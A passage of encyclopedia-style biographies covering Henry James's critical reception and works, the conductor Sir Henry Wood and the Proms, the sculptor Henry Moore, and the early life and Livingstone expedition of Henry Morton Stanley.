              	"To be completely great," Henry James wrote in an early review, "a work of art must lift up the heart," and his own novels do this to an outstanding degree More than sixty years after his death, the great novelist who sometimes professed to have no opinions stands foursquare in the great Christian humanistic and democratic tradition. The men and women who, at the height of World War II, raided the secondhand shops for his out-of-print books knew what they were about. For no writer ever raised a braver banner to which all who love freedom might adhere.

              	
            

          


          Early biographies of James echoed the unflattering picture of him drawn in early criticism. F.W. Dupee, as noted above, characterized James as neurotically withdrawn and fearful, and although Dupee lacked access to primary materials his view has remained persuasive in academic circles, partly because Leon Edel's massive five-volume work, published from 1953 to 1972, seemed to butress it with extensive documentation. Michael Anesko, Fred Kaplan, and Sheldon Novick, working from primary materials have disputed the factual basis of Dupee's and Edel's accounts. Other critics and biographers have disputed Edel's interpretations and conclusions. James has also figured in at least a half-dozen novels. Colm Tibn used an extensive list of biographies of Henry James and his family for his widely admired 2004 novel, The Master, which is a third person narrative with James as the central character, and deals with specific episodes from his life during the period between 1895 and 1899. Author, Author, a novel by David Lodge published in the same year, was based on James's efforts to conquer the stage in the 1890s. In 2002 Emma Tennant published Felony: The Private History of The Aspern Papers, a novel that fictionalized the relationship between James and American novelist Constance Fenimore Woolson and the possible effects of that relationship on The Aspern Papers.


          The published criticism of James's work has reached enormous proportions. The volume of criticism of The Turn of the Screw alone has become extremely large for such a brief work. The Henry James Review, published three times a year, offers criticism of James's entire range of writings, and many other articles and book-length studies appear regularly. Some guides to this extensive literature can be found on the external sites listed below.


          


          Legacy


          Perhaps the most prominent examples of James's legacy in recent years have been the film versions of several of his novels and stories. Three of James's novels were filmed by the team of Ismail Merchant and James Ivory: The Europeans (1978), The Bostonians (1984) and The Golden Bowl (2000). The Iain Softley-directed version of The Wings of the Dove (1997) was successful with both critics and audiences. Helena Bonham Carter received an Academy Award nomination as Best Actress for her memorable portrayal of Kate Croy. Agnieszka Holland's Washington Square (1997) was well received by critics, and Jane Campion tried her hand with The Portrait of a Lady (1996) but with much less success. In earlier times Jack Clayton's The Innocents (1961) brought The Turn of the Screw to vivid life on film, and William Wyler's The Heiress (1949), adapted from Washington Square, won four Academy Awards, including a Best Actress award for Olivia de Havilland as Catherine Sloper.


          Most of James's work has remained continuously in print since its first publication, and he continues to be a major figure in realist fiction, influencing generations of novelists. Testifying to his importance, a character named "Henry James" appears in at least a half-dozen novels, as noted above, the best-known of which is The Master by Colm Toibin. Such disparate writers as Joyce Carol Oates with Accursed Inhabitants of the House of Bly (1994), Louis Auchincloss with The Ambassadress (1950), Tom Stoppard with The Real Thing (1982), and Alan Hollinghurst with The Line of Beauty (2004) were explicitly influenced by James's works. James was definitely out of his element when it came to music, but Benjamin Britten's operatic version of " The Turn of the Screw" (1954) has become one of the composer's most popular works. William Tuckett converted the story into a ballet in 1999.


          Even when the influence is not so obvious, James can cast a powerful spell. In 1954, when the shades of depression were thickening fast, Ernest Hemingway wrote an emotional letter where he tried to steady himself as he thought James would: "Pretty soon I will have to throw this away so I better try to be calm like Henry James. Did you ever read Henry James? He was a great writer who came to Venice and looked out the window and smoked his cigar and thought." The odd, perhaps subconscious or accidental allusion to " The Aspern Papers" is striking. And there are the real oddities, like the Rolls-Royce ad which used Strether's famous words: "Live all you can; it's a mistake not to." That's more than a little ironic, considering The Ambassadors' sardonic treatment of the "great new force" of advertising.


          Notable works by James


          


          Novels


          
            
              	
                
                  	Watch and Ward (1871)


                  	Roderick Hudson (1875)


                  	The American (1877)


                  	The Europeans (1878)


                  	Confidence (1879)


                  	Washington Square (1880)


                  	The Portrait of a Lady (1881)


                  	The Bostonians (1886)

                

              

              	
                
                  	The Princess Casamassima (1886)


                  	The Reverberator (1888)


                  	The Tragic Muse (1890)


                  	The Other House (1896)


                  	The Spoils of Poynton (1897)


                  	What Maisie Knew (1897)


                  	The Awkward Age (1899)


                  	The Sacred Fount (1901)

                

              

              	
                
                  	The Wings of the Dove (1902)


                  	The Ambassadors (1903)


                  	The Golden Bowl (1904)


                  	The Whole Family (collaborative novel with eleven other authors, 1908)


                  	The Outcry (1911)


                  	The Ivory Tower (unfinished, published posthumously 1917)


                  	The Sense of the Past (unfinished, published posthumously 1917)

                

              
            

          


          


          Novellas and tales


          
            
              	
                
                  	A Passionate Pilgrim (1871)


                  	Madame de Mauves (1874)


                  	Daisy Miller (1878)


                  	A Bundle of Letters (1879)


                  	The Author of Beltraffio (1884)


                  	The Aspern Papers (1888)


                  	A London Life (1888)


                  	The Pupil (1891)

                

              

              	
                
                  	The Real Thing (1892)


                  	The Middle Years (1893)


                  	The Death of the Lion (1894)


                  	The Coxon Fund (1894)


                  	The Next Time (1895)


                  	The Altar of the Dead (1895)


                  	The Figure in the Carpet (1896)


                  	The Turn of the Screw (1898)


                  	In the Cage (1898)

                

              

              	
                
                  	Europe (1899)


                  	Paste (1899)


                  	The Great Good Place (1900)


                  	Mrs. Medwin (1900)


                  	The Birthplace (1903)


                  	The Beast in the Jungle (1903)


                  	The Jolly Corner (1908)

                

              
            

          


          


          Selected, "Definitive" Edition of James's Fiction


          
            	New York Edition (19071909)

          


          


          Travel writings


          
            
              	
                
                  	A Little Tour in France (1884)


                  	English Hours (1905)

                

              

              	
                
                  	The American Scene (1907)


                  	Italian Hours (1909)

                

              
            

          


          


          Literary criticism


          
            
              	
                
                  	French Poets and Novelists (1878)


                  	Partial Portraits (1888)


                  	Essays in London and Elsewhere (1893)

                

              

              	
                
                  	Notes on Novelists (1914)

                

              
            

          


          


          Journals


          
            	Notebooks (various, published posthumously)

          


          


          Memoirs and Autobiography


          
            
              	
                
                  	A Small Boy and Others (1913)


                  	Notes of a Son and Brother (1914)

                

              

              	
                
                  	The Middle Years (unfinished, published posthumously 1917)

                

              
            

          


          


          Plays


          
            
              	
                
                  	Theatricals (1894)


                  	Theatricals: Second Series (1895)

                

              

              	
                
                  	Guy Domville (1895)

                

              
            

          


          


          Biography


          
            	Hawthorne (1879)


            	William Wetmore Story and His Friends (1903)

          


          


          Visual arts criticism


          
            	Picture and Text (1893)
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          Sir Henry Wood Kt CH ( 3 March 1869  19 August 1944) was an English conductor, forever associated with the Promenade Concerts which he conducted for half a century. Founded in 1895, they became known after his death as the Henry Wood Promenade Concerts (now the BBC Proms). It is impossible to overestimate the influence he had on musical life in Britain: he improved access immensely, and also raised the standard of orchestral playing and nurtured the taste of the public, introducing them to a vast repertoire of music, encouraging especially compositions by British composers. He was knighted in 1911.


          


          Early life and career


          Henry Joseph Wood was born on 3 March 1869 in London. His father was a qualified optician, but had become well-known as a craftsman and model maker, running a highly successful model engine shop in Oxford Street. Both parents were keen amateur musicians: his father sang in church choirs and played the cello and his mother sang songs from her native Wales.


          At the age of fourteen, Henry learned to play the organ at the 'Musicians' Church' St Sepulchre-without-Newgate, the largest parish church in the City of London, where his ashes now are .


          He also learned the piano and violin, but it was not until he entered the Royal Academy of Music at the age of sixteen that he received methodical tuition. During his two years at the RAM he took classes in piano, organ, composition and singing. His teachers included Ebenezer Prout (composition) and Manuel Garcia (singing). His ambition at the time was to become a teacher of singing (and he gave singing lessons throughout his life), and so he attended classes of as many singing teachers as he could, both as pupil and as accompanist.


          On leaving the Royal Academy of Music he found work as a singing teacher and as an orchestral and choral conductor. He gained experience by working for several opera companies, many of them obscure. He conducted the Carl Rosa Opera Company in 1891, and the following year the English premiere of Tchaikovskys Eugene Onegin at the newly rebuilt Olympic Theatre. He collaborated with Arthur Sullivan on preparation of The Yeomen of the Guard and Ivanhoe. Meanwhile he was deriving a steady income from his singing tuition, and he published a manual The Gentle Art of Singing.


          


          Promenade Concerts


          In 1893, Robert Newman, manager of the Queen's Hall, proposed holding a series of promenade concerts with Wood as conductor. The term promenade concert normally referred to concerts in London parks where the audience could walk about as they listened (French se promener = to walk). Newmans aim was to educate the musical taste of the public who were not used to listening to serious classical music unless it was presented in small doses with plenty of other popular items in between. Wood shared Newmans ideals. Dr George Cathcart, a wealthy ear, nose and throat specialist, offered to sponsor the project on condition that Wood took charge of every concert. He also insisted that the pitch of the instruments, which in England was nearly a semitone higher than that used on the continent, should be brought down to diapason normal (A=435Hz). On the 10 August 1895 the first of the Queens Hall Promenade Concerts took place. The singer Agnes Nicholls, who was in the audience, recalls:


          
            Just before 8 oclock I saw Henry Wood take up his position behind the curtain at the end of the platform  watch in hand. Punctually, on the stroke of eight, he walked quickly to the rostrum, buttonhole and all, and began the National Anthem...... A few moments for the audience to settle down, then the Rienzi Overture, and the first concert of the new Promenades had begun.

          


          It is particularly significant that he should have chosen an overture by Wagner to open the first programme. Prejudice against British musicians was very strong. Nineteenth century England had been labelled by the Germans Das Land ohne Musik(The Land without Music) and not without a certain amount of justification. Henry Wood was to alter all that. In particular, it was thought that no British conductor would be capable of conducting Wagner. Wood was to prove otherwise. In fact, for many years the programming of the promenade concerts followed a particular pattern according to the day of the week, with Monday nights being Wagner nights and Friday being dedicated to Beethoven. Wood also bravely introduced British audiences to many noteworthy European composers, especially Sibelius and composers of the Russian school. In 1912 he conducted Schoenbergs Five Orchestral Pieces (Stick to it, gentlemen he urged the orchestra at rehearsal, This is nothing to what youll have to play in 25 years time).


          Wood remained in sole charge of the Proms (with one or two exceptions) until 1941 when he shared the conducting with Basil Cameron and, in the following season, with Sir Adrian Boult as well. During Woods time the Proms were a central feature of British musical life and he gained the nickname of "Timber" from the Promenaders. He brought about many innovations. He fought continuously for improved pay for musicians, and introduced women into the orchestra in 1911. In 1904, after a rehearsal in which he was faced with a sea of entirely unfamiliar faces in his own orchestra, he at one stroke abolished the deputy system in which players had been free to send in a deputy whenever they wished. Forty players resigned en bloc and formed their own orchestra: the London Symphony Orchestra.


          


          Other musical activities


          Wood's fame lies mainly with the promenade concerts, but he was active in many areas of musical life. He conducted many concerts in London and the provinces, and appeared regularly at choral festivals in Norwich and Sheffield. He conducted many amateur groups, and was very generous with the time he gave to the students orchestra at the RAM. He was meticulous and thorough in his preparation, and built up a large library of scores which were carefully marked up in coloured pencil. His famous medley Fantasia on British Sea Songs, prepared for the 1905 centenary celebrations of the Battle of Trafalgar, is now an indispensable item at the Last Night of the Proms.


          His orchestrations of other composers' works drew frequent criticisms, so when in 1929 he made an orchestral transcription of Bach's Toccata and Fugue in D minor, he presented it as a piece by a Russian composer called Paul Klenovsky. It was a great success. Only several years later did he confess to the little joke.


          In 1938 he presented a jubilee concert in the Royal Albert Hall. Rachmaninov was the soloist, and Vaughan Williams wrote his Serenade to Music for orchestra and sixteen soloists. He tended to overwork himself, and the strain began to tell in his later years.


          Wood died on 19 August 1944, just over a week after the fiftieth anniversary concert of the Proms, which he had been too ill even to listen to on the radio. A number of honours were bestowed on him: knighted by the king in 1911, he was awarded the gold medal of the Royal Philharmonic Society in 1921 and was made a Companion of Honour in 1944. He is remembered today in the name of the Henry Wood Hall, the deconsecrated Holy Trinity Church in Southwark, which was converted to a rehearsal and recording venue in 1975. His bust stands upstage centre in the Royal Albert Hall during the whole of each Prom season, and is decorated by a chaplet on the Last Night of the Proms.


          


          Premires


          In Arthur Jacobs 1994 biography Henry Wood, the list of premires conducted by Wood extends to eighteen pages.


          

          World premires included:


          
            	Benjamin Britten: Piano Concerto


            	Frederick Delius: A Song Before Sunrise; A Song of Summer; and the Idyll.


            	Edward Elgar: The Wand of Youth Suite No 1; Sospiri and the fourth and fifth Pomp and Circumstance Marches


            	Sergei Rachmaninoff: Piano Concerto No 1


            	Ralph Vaughan Williams: Norfolk Rhapsody No 1; Flos Campi; Serenade to Music

          


          

          Woods UK premires included:


          
            	Bla Bartk: Dance Suite


            	Emmanuel Chabrier: Joyeuse Marche


            	Aaron Copland: Billy the Kid (ballet)


            	Claude Debussy: Lapres-midi dun faune; Ibria


            	Csar Franck: Le Chausseur Maudit


            	Reynaldo Hahn: Le Bal de Batrice dEste


            	Paul Hindemith: Kammermusik 2 and 5


            	Leos Janček: Sinfonietta; Taras Bulba; Glagolitic Mass


            	Zoltn Kodly: Dances from Galanta


            	Gustav Mahler: Symphonies 1, 4, 7 and 8; Das Lied von der Erde


            	Sergei Prokofiev: Piano Concerto No 1; Violin Concerto No 2


            	Maurice Ravel: Ma Mre l'Oye; Rapsodie espagnole; La Valse; Piano Concerto in D


            	Nicolai Rimsky-Korsakov: Capriccio Espagnole; Scheherazade; Symphony No 2


            	Camille Saint-Sans: Carnival of the Animals


            	Robert Schumann: Konzertstck for four horns and orchestra


            	Dmitry Shostakovich: Piano Concerto No 1; Symphonies 7 and 8


            	Jean Sibelius: Symphonies 1, 6, and 7; Violin Concerto; Karelia Suite; Tapiola


            	Richard Strauss: Symphonia Domestica


            	Igor Stravinsky: The Firebird (suite)


            	Peter Ilyich Tchaikovsky: Eugene Onegin; Manfred; The Nutcracker (suite)


            	Anton Webern: Passacaglia

          


          


          Theory that he was of gipsy stock


          It has been claimed that Wood came from a family of British Gypsies (Romanichel).


          says he "belonged to a traditional Romanichel family"


          disputes the Romany theory
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          Henry Spencer Moore OM CH FBA, ( 30 July 1898  31 August 1986) was an English artist and sculptor. The son of a mining engineer, he was born in the Yorkshire town of Castleford. Moore became well-known for his larger-scale abstract cast bronze and carved marble sculptures. Substantially supported by the British art establishment, Moore helped to introduce a particular form of modernism to the United Kingdom.


          Moore is best known for his abstract monumental bronzes which can be seen in many places around the world as public works of art. The subjects are usually abstractions of the human figure, typically mother-and-child or reclining figures. Apart from a flirtation with family groups in the 1950s, the subject is nearly always a woman. Characteristically, Moore's figures are pierced, or contain hollow places. Many interpret the undulating form of his reclining figures as references to the landscape and hills of Yorkshire where Moore was born.


          His ability to satisfy large-scale commissions made him exceptionally wealthy towards the end of his life. However, he lived frugally and most of his wealth went to endow the Henry Moore Foundation, which continues to support education and promotion of the arts.


          


          Biography


          


          Early life
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          Moore was born in Castleford, West Yorkshire, England, the seventh of eight children to Raymond Spencer Moore and Mary Baker. His father was a mining engineer who rose to be under-manager of the Wheldale colliery in Castleford. He was an autodidact with an interest in music and literature, and he saw formal education as the route to advancement for his children, determined that his sons would not work down the mine.


          Moore attended infant and elementary schools in Castleford, and began modelling in clay and carving in wood. He decided to become a sculptor when he was only eleven, after hearing of Michelangelo's achievements. When he was eleven he won a scholarship to attend Castleford Secondary School, as several of his brothers and sisters had done. There, his art teacher introduced him to wider aspects of art, and with her encouragement he determined to make art his career and sit examinations for a scholarship to the local art college. Despite his showing early promise, Moore's parents were against him training as a sculptor, which they saw as manual labour without much prospect of a career. Instead, after a brief introduction as a student teacher, he became a teacher at the school he had attended.


          On turning 18 in 1917, at the height of World War I, Moore was called up into the army. The youngest man in his regiment, the Prince of Wales's Own Civil Service Rifles, he was injured in a gas attack during the Battle of Cambrai. After recovering in hospital, he saw out the remainder of the war as a physical training instructor. In stark contrast to many of his contemporaries, Moore's wartime experience was largely untroubled. He said later, "for me the war passed in a romantic haze of trying to be a hero." After the war, Moore received an ex-serviceman's grant to continue his education and became the first student of sculpture at Leeds School of Art in 1919  the school had to set up a sculpture studio especially for him.
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          Education


          While at Leeds, Moore met fellow art student Barbara Hepworth, beginning a friendship which would last for many years. Moore was also fortunate to be introduced to African tribal sculpture, by Sir Michael Sadler, the Vice-Chancellor at the Leeds school.


          In 1921 Moore won a scholarship to study at the Royal College of Art (RCA) in London, where Hepworth had gone the year before. While in London, Moore extended his knowledge of primitive art and sculpture, studying the ethnographic collections at the Victoria and Albert Museum and the British Museum.


          Both Moore and Hepworth's earliest sculptures followed standard teaching in romantic Victorian style; subjects were natural forms, landscapes and figurative modelling of animals. Moore increasingly felt uncomfortable with these classically derived ideas. With his knowledge of primitivism and the influence of sculptors such as Brancusi, Epstein and Dobson he started to develop a style of direct carving in which imperfections in the material and tool marks are incorporated into the finished sculpture. In doing so he had to fight against his academic tutors who did not appreciate the modern approach. In one exercise set by Derwent Wood, the professor of Sculpture at the RCA, Moore was supposed to reproduce a marble relief of Rosselli's The Virgin and Child, by first modelling the relief in plaster then reproducing it in marble using the mechanical technique of ' pointing'. Instead, Moore carved the relief directly, even marking the surface to simulate the surface prick marks that would have been left by the pointing machine. Nevertheless, in 1924, Moore won a six month travelling scholarship which he spent in Northern Italy studying the great works of Michelangelo, Giotto and several other Old Masters. It was also during this period that he visited Paris and saw, in the Louvre a plaster cast of a Toltec-Maya sculpture, Chac Mool. This reclining figure was to have a profound effect upon Moore's work and provide its main motif for the rest of his life.


          


          Life in Hampstead


          
            [image: "The West Wind" (1928-29) shows the influence of both Michelangelo's figures for the Medici Chapel and the Chac Mool figure.]

            
              "The West Wind" (1928-29) shows the influence of both Michelangelo's figures for the Medici Chapel and the Chac Mool figure.
            

          


          On returning to London, Moore began a seven-year teaching post at the RCA. He was required to teach two days a week, which gave him plenty of time to spend on his own work. His first public commission, West Wind (1928-29) was one of the eight 'winds' reliefs high on the walls of London Underground's headquarters at 55 Broadway. The other 'winds' were carved by contemporary sculptors including Eric Gill.


          In July 1929, Moore married Irina Radetsky, a painting student at the RCA  Irina was born in Kiev on 26 March 1907 to Russian-Polish parents. Her father disappeared in the Russian Revolution and her mother was evacuated to Paris where she married a British army officer. Irina was smuggled to Paris a year later and went to school there until she was 16, after which she was sent to live with her stepfathers relatives in Buckinghamshire. With such a troubled childhood, it is not surprising that Irina had a reputation of being quiet and a little withdrawn. However, she found security in her marriage to Moore and was soon posing for him.


          Shortly after getting married the pair moved to a studio in Hampstead on Parkhill Road, joining a small colony of avant-garde artists who were starting to take root there. Shortly afterwards, Hepworth and her partner Ben Nicholson moved into a studio around the corner from Moore, while Naum Gabo, Roland Penrose and the art critic Herbert Read also lived in the area. This led to a rapid cross-fertilization of ideas that Read would publicise, helping to raise Moore's public profile. The area was also a stopping off point for a large number of refugee architects and designers from continental Europe enroute to America many of whom would later commission works from Moore.


          In the early 1930s, Moore took up a post as the Head of the Department of Sculpture at the Chelsea School of Art. Artistically, Moore, Hepworth and other members of the 7 and 5 Society would develop steadily more abstract work, partly influenced by their frequent trips to Paris and contact with leading progressive artists, notably Picasso, Braque, Arp and Giacometti. Moore flirted with Surrealism, joining Paul Nash's Unit One Group in 1933. Both Moore and Nash were on the organizing committee of the London International Surrealist Exhibition, which took place in 1936. In 1937 Roland Penrose purchased an abstract 'Mother and Child' in stone from Moore that he displayed in the front garden of his house in Hampstead. The piece proved controversial with other residents and a campaign was run against the piece by the local press over the next two years. At this time Moore gradually transitioned from direct carving to casting in bronze, modelling preliminary maquettes in clay or plaster.
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          War artist


          This inventive and productive period was brought to an end by the outbreak of the Second World War. The Chelsea School of Art evacuated to Northampton and Moore resigned his teaching post. During the war, Moore was commissioned as a war artist, notably producing powerful drawings of Londoners sleeping in the London Underground while sheltering from the blitz . These drawings helped to boost Moore's international reputation, particularly in America.


          After their Hampstead home was hit by bomb shrapnel in 1940, he and Irina moved out of London to live in a farmhouse called Hoglands in the hamlet of Perry Green near Much Hadham, Hertfordshire. This was to become Moore's final home and workshop. Despite acquiring significant wealth later in life, Moore never felt the need to move to a larger home and apart from adding a number of outbuildings and workshops, the house changed little.


          


          International recognition
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          After the war and following several earlier miscarriages, Irina gave birth to their daughter, Mary Moore on 7 March 1946. The child was named after Moore's mother, who had died a couple of years earlier. Both the loss of his mother and the arrival of a baby focused Moore's mind on the family, which he expressed in his work by producing many mother-and-child compositions, although reclining figures also remained popular. In the same year, Moore made his first visit to America when a retrospective exhibition of his work opened at the Museum of Modern Art in New York. Kenneth Clark became an unlikely but influential champion of Moore's work and through his position as member of the Arts Council of Great Britain secured exhibitions and commissions for the artist. In 1948 he won the International Sculpture Prize at the Venice Biennale and was one of the featured artists of the Festival of Britain in 1951 and Documenta 1 in 1955.


          Towards the end of the war, Moore had been approached by Henry Morris who was in the process of trying to reform education with the concept of the Village College. Morris had engaged Walter Gropius as the architect for his second village college at Impington near Cambridge and he wanted Moore to design a major public sculpture for the site. Unfortunately, the County Council could not afford Gropius's full design, and scaled back the project when Gropius emigrated to America. Lacking funds, Morris had to cancel Moore's sculpture, which had not progressed beyond the maquette stage. Fortunately, Moore was able to reuse the design in 1950 for a similar commission outside a secondary school for the new town of Stevenage. This time, the project was completed and Family Group became Moore's first large scale public bronze.


          In the 1950s, Moore began to receive increasingly significant commissions, including a Reclining Figure for the UNESCO building in Paris in 1957. With many more public works of art, the scale of Moore's sculptures grew significantly and he started to employ a number of assistants to work with him at Much Hadham, including Anthony Caro and Richard Wentworth.


          On the campus of the University of Chicago, twenty-five years to the minute (3:36 p.m., December 2, 1967) after the team of physicists led by Enrico Fermi achieved the first controlled, self-sustaining nuclear chain reaction, Moore's Nuclear Energy was unveiled on the site of what used to be the University's football field bleachers, in the squash courts beneath which the experiments had taken place. This twelve-foot-tall piece in the middle of a large, open plaza is often thought to represent a mushroom cloud topped by a massive human skull, but Moore's interpretation was very different. He once told a friend that he hoped viewers would "go around it, looking out through the open spaces, and that they may have a feeling of being in a cathedral."


          


          


          Legacy


          The last three decades of Moore's life continued in a similar vein, with several major retrospectives around the world, notably a very prominent exhibition in the summer of 1972 in the grounds of the Forte di Belvedere overlooking Florence. By the end of the 1970s, there were some 40 exhibitions a year featuring his work.


          The number of commissions continued to increase; he completed Knife Edge Two Piece (below right) in 1962 for College Green next to the Houses of Parliament in London. Moore commented;


          
            When I was offered the site near the House of Lords... I liked the place so much that I didn't bother to go and see an alternative site in Hyde Park  one lonely sculpture can be lost in a large park. The House of Lords site is quite different. It is next to a path where people walk and it has a few seats where they can sit and contemplate it.

          


          As his personal wealth grew dramatically, Moore began to worry about his legacy. With the help of his daughter Mary, he set up the Henry Moore Trust in 1972, with a view to protecting his estate from death duties. By 1977 he was paying about a million pounds a year in income tax, and so to mitigate this tax burden he established the Henry Moore Foundation as a registered charity with Irina and Mary as trustees. The Foundation was established to promote the public appreciation of art and to preserve Moore's sculptures. It now runs Hoglands as a gallery and museum of Moore's workshops.
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          The Foundation also manages the Henry Moore Institute in Leeds that supports exhibition and research activities into international sculpture. While by the Foundation's own admission general interest in Moore's work has declined since his death, the institutions he endowed continue to play an essential role in promoting contemporary art in the United Kingdom. Although Moore had turned down a knighthood in 1951 he was later awarded the Companion of Honour in 1955 and the Order of Merit in 1963. He was a trustee of both the National Gallery and Tate Gallery. His proposal that a wing of the latter should be devoted to his sculptures aroused hostility among some artists. In 1975 he became the first President of the Turner Society, which had been founded to campaign for a separate museum in which the whole Turner Bequest might be reunited, an aim defeated by the National Gallery and Tate Gallery.


          Henry Moore died on 31 August 1986, at the age of 88, in his home in Hertfordshire. His body is interred in the Artist's Corner at St Paul's Cathedral.


          On Thursday 15 December 2005, thieves gained access to the courtyard of the Henry Moore Foundation and stole a bronze statue worth 3m ($5.3m). The 1969/1970 work, known as Reclining Figure LH608 is 3.6 m long, 2 m high by 2 m wide and weighs 2.1 tonnes. A substantial reward has been offered by the Foundation for information leading to its recovery. It is feared it may have been stolen for melting down as scrap metal.


          


          Sculpture
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          Style


          Moore's signature form is a reclining figure. Moore's exploration of this form, under the influence of the Toltec-Mayan figure he had seen at the Louvre, was to lead him to increasing abstraction as he turned his thoughts towards experimentation with the elements of design. Moore's earlier reclining figures deal principally with mass, while his later ones contrast the solid elements of the sculpture with the space, not only round them but generally through them as he pierced the forms with openings.


          Earlier figures are pierced in a conventional manner, where bent limbs separate from and rejoin the body. (see Stuttgart figure, left) The later more abstract figures are often penetrated by spaces directly through the body, by which means Moore explores and alternates concave and convex shapes. These more extreme piercings developed in parallel with Barbara Hepworth's sculptures. Hepworth first pierced a torso after misreading a review of one of Henry Moore's early shows. The "Reclining Figure" (1951) outside the Fitzwilliam Museum, Cambridge, is characteristic of Moore's later sculptures, with an abstract female figure intercut with voids. There are several bronze versions of this sculpture, but this one is made from painted plaster. (see right)


          When Moore's niece asked why his sculptures had such simple titles, he replied:


          
            
              	

              	"All art should have a certain mystery and should make demands on the spectator. Giving a sculpture or a drawing too explicit a title takes away part of that mystery so that the spectator moves on to the next object, making no effort to ponder the meaning of what he has just seen. Everyone thinks that he or she looks but they don't really, you know."

              	
            

          


          


          Technique
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          Moore's early work is focused on direct carving in which the form of the sculpture evolves as the artist repeatedly whittles away at the block (see Half-figure 1932). In the 1930s Moore's transition into Modernism paralleled that of Barbara Hepworth with both sculptors bouncing new ideas off each other and several other artists living in Hampstead at the time. Moore made many preparatory sketches and drawings for each sculpture. Most of these sketchbooks have survived, providing an insight into his development. He placed great importance on drawing, even when he had arthritis he still was able to draw.


          By the end of the 1940s Moore increasingly produced sculptures by modelling, working out the shape in clay or plaster before casting the final work in bronze using the lost wax technique.


          After the Second World War Moore's bronzes took on their larger scale, particularly suited for the public art commissions he was receiving. As a matter of practicality he largely abandoned direct carving, and took on several assistants to help produce the maquettes.


          At his home in Much Hadham, Moore built up a collection of natural objects; skulls, driftwood, pebbles, rocks and shells, which he would use to provide inspiration for organic forms. For his largest works, he often produced a half-scale, working model before scaling up for the final moulding and casting at a bronze foundry. Moore often refined the final full plaster shape and added surface marks before casting.


          Permanent exhibitions


          Moore's sculptures and drawings can be seen at numerous national art galleries around the world. Notable collections are held at:


          
            	Albright-Knox Art Gallery, Buffalo, New York


            	Art Gallery of Ontario, Toronto, Canada


            	Didrichsen Museum of Art and Culture, Helsinki, Finland


            	Fairfield Centre for Contemporary Art, Sturgeon Bay, WI


            	Henry Moore Foundation, , Perry Green, Much Hadham, Hertfordshire, UK


            	Henry Moore Institute, Leeds, UK


            	Hirshhorn Museum, Washington D.C.


            	Kew Gardens, London, UK


            	Nelson-Atkins Museum of Art, largest collection of monumental bronzes in the United States


            	Pao imperial, Rio de Janeiro, RJ


            	Sainsbury Centre for Visual Arts, and dotted around the campus of UEA, Norwich, UK.


            	Tate Gallery, London, UK


            	Wakefield City Art Gallery, UK


            	Yorkshire Sculpture Park, near Wakefield, UK
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                  Journalist and explorer
                

              
            


            
              	Born

              	January 28, 1841(1841-01-28)

              Denbigh, United Kingdom
            


            
              	Died

              	May 10, 1904 (aged63)

              London, United Kingdom
            

          


          Sir Henry Morton Stanley, GCB, born John Rowlands ( January 28, 1841  May 10, 1904), was a British journalist and explorer famous for his exploration of Africa and his search for David Livingstone. Stanley is often remembered for the words uttered to Livingstone upon finding him: "Dr. Livingstone, I presume?", although there is some question as to authenticity of this now famous greeting.


          


          Biography


          He was born in Denbigh, Wales. At the time, his mother, Elizabeth Parry, was nineteen years old. According to Stanley himself, his father, John Rowlands, was an alcoholic; there is some doubt as to his true parentage. The parents were unmarried, so his birth certificate refers to him as a bastard, and the stigma of illegitimacy weighed heavily upon him all his life. He was raised by his grandfather until the age of five. When his guardian died, the boy stayed at first with cousins and nieces for a short time, but was eventually sent to St. Asaph Union Workhouse for the poor, where overcrowding and lack of supervision resulted in frequent abuse by the older boys. When he was ten, his mother and two siblings stayed for a short while in this workhouse, without John Rowlands realizing who they were. He stayed until the age of 15. After completing an elementary education, he was employed as a pupil teacher in a National School. In 1859, at the age of 18, he made his passage to the United States in search of a new life. Upon arriving in New Orleans, he absconded. According to his own declarations, he became friendly with a wealthy trader named Stanley, whose name he later assumed. This adoptive parent died soon afterwards. He assumed a local accent and began to deny being a foreigner.


          He participated reluctantly in the American Civil War. Stanley first joined with the Confederate Army participating in the Battle of Shiloh in 1862. After being taken prisoner he promptly deserted and joined the Union. He served in the Navy but eventually deserted again.


          Following the Civil War, Stanley began a career as a journalist. As part of this new career, Stanley organized an expedition to the Ottoman Empire that ended catastrophically when Stanley became imprisoned. He eventually talked his way out of jail, and even received restitution for damaged expedition equipment. This early expedition may have formed the foundation for his eventual exploration of the Congo region of Africa.


          Stanley was recruited in 1867 by Colonel Samuel Forster Tappan (a one-time journalist) of the Indian Peace Commission to serve as a correspondent to cover the work of the Commission for several newspapers. Stanley was soon retained exclusively by James Gordon Bennett (1795-1872), founder of the New York Herald, who was impressed by Stanley's exploits and by his direct style of writing. This early period of his professional life is described in Volume I of his book My Early Travels and Adventures in America and Asia (1895). He became one of the Herald's overseas correspondents and, in 1869, was instructed by Bennett's son to find the Scottish missionary and explorer David Livingstone, who was known to be in Africa but had not been heard from for some time. According to Stanley's account, he asked James Gordon Bennett, Jr. (1841-1918), who had succeeded to the paper's management at his father's retirement in 1867, how much he could spend. The reply was "Draw 1,000 now, and when you have gone through that, draw another 1,000, and when that is spent, draw another 1,000, and when you have finished that, draw another 1,000, and so on  BUT FIND LIVINGSTONE!" Actually Stanley had lobbied his employer for several years to mount this expedition that would presumably give him fame and fortune.
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          Stanley travelled to Zanzibar in March 1871 and outfitted an expedition with the best of everything, requiring no fewer than 200 porters. This 700-mile expedition through the tropical forest became a nightmare. His thoroughbred stallion died within a few days by tsetse fly, many of his carriers deserted and the rest were decimated by tropical diseases. To keep the expedition going, he had to take stern measures, including flogging deserters. In fairness to Stanley, it should be noted that harsh treatment of carriers was not uncommon. Many missionaries of the day practiced tactics no less brutal than his, and Stanley's diaries show that he had in fact exaggerated the brutal treatment of his carriers in his books to pander to the taste of his Victorian public. Articles examining Stanley's treatment of indigenous porters help refute his reputation as a brutal criminal, but the fact remains that through much of the Congo region his name remains synonymous with violence.


          Stanley found Livingstone on November 10, 1871, in Ujiji near Lake Tanganyika in present-day Tanzania, and may have greeted him with the now famous, "Dr. Livingstone, I presume?" This famous phrase may be a fabrication, as Stanley tore out the pages of this encounter in his diary Even Livingstone's account of this encounter fails to mention these words. However, a summary of Stanley's letters published by New York Times on July 2, 1872 quotes the phrase. The Encyclopaedia Britannica and the Oxford Dictionary of National Biography both quote the phrase without questioning its validity.


          The Herald's own first account of the meeting, published July 2, 1872, also includes the phrase: "Preserving a calmness of exterior before the Arabs which was hard to simulate as he reached the group, Mr. Stanley said: -- `Doctor Livingstone, I presume?' A smile lit up the features of the hale white man as he answered: `YES, THAT IS MY NAME' ..."


